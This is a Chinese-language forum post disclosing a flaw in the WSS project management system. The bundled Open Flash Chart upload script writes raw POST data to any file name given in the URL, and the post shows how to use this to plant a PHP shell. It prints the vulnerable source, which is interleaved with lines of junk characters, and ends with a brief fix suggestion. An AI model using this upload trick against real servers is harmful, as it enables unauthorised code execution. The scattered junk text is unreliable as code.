WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
. H" a/ W$ z& ?! u2 v2 `2 c
' K: z; t) \* @, c利用：
- s$ C0 _$ a6 g$ e. f* V( V: V/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

& z: m1 F. }3 Z2 f! O! YPost任意数据
2 Y6 x( L7 C: c# q保存位置http://localhost/chart/tmp-upload-images/hfy.php
2 M. u, v" p& T  t3 E

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
# B( B) [, u2 o% F
//
- I; s" j. m8 \4 o  d8 s// In Open Flash Chart -> save_image debug mode, you
" l1 _5 `8 q- \: ?; R( d8 C5 E3 V// will see the 'echo' text in a new window.
8 J9 t: g3 W* t' F. O//

0 f% L3 a& ?% O: C# G/*

( M: E; r2 _1 C" wprint_r( $_GET );
print_r( $_POST );
. S" U" M3 f& u, R, p! {' l* ~print_r( $_FILES );

print_r( $GLOBALS );
7 P8 H3 Y6 q! @! |) ^* Zprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

. q" @- ]) P# ]2 j*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

, `: {+ D. m0 i( u8 ?if (!file_exists($default_path)) mkdir($default_path, 0777, true);
. Z* e9 C5 N" P$ d) b( S8 `# A8 i/ ~
7 I8 u. C' ~) D3 F// full path to the saved image including filename //
5 n+ N3 s! q, o# S$destination = $default_path . basename( $_GET[ 'name' ] );

; k; h4 S7 F7 }+ Z/ v, D2 `5 Yecho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
# e" A' Q5 j; M0 y// echo $HTTP_RAW_POST_DATA;

) G4 W, J/ Z4 v# H9 R9 M. y; F//
// POST data is usually string data, but we are passing a RAW .png
9 k% R3 Z% W# D6 }// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
6 X+ X2 ]8 p4 U; l: [
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
) F6 Q# _, N7 h8 Q
//
+ L! [8 D; O7 O7 E" |% C  k* D// LOOK:
//
3 s8 B9 L. y" d/ q' oexit();
//
4 j2 |: Q8 S+ p6 A0 g1 ~// PHP5:
//


, M, m! n. O! Q; v  K* G& r  V. c// default path for the image to be stored //
1 O2 R& A8 U9 d5 _. ^) F$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
- I; R( M0 W4 ]1 g; F0 t3 R$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
2 _+ q3 o/ Y3 ?
$ c# f1 g7 B6 a+ f4 O// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}


' G. \* Y+ q6 L% ??>
* |7 ?; {4 W: m9 h" C7 A/ }% `
% |/ ^6 K6 M; h# v' h
% G4 D  U! {" J4 u6 q% C

4 e! l( u) G/ i6 C6 `) }
5 R7 R0 }1 k* i1 n$ n
修复方案：
( m& v' s$ Q7 s) |/ T这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


' v6 L% l8 h. z5 ~
- J4 J* F- R4 C8 C9 ^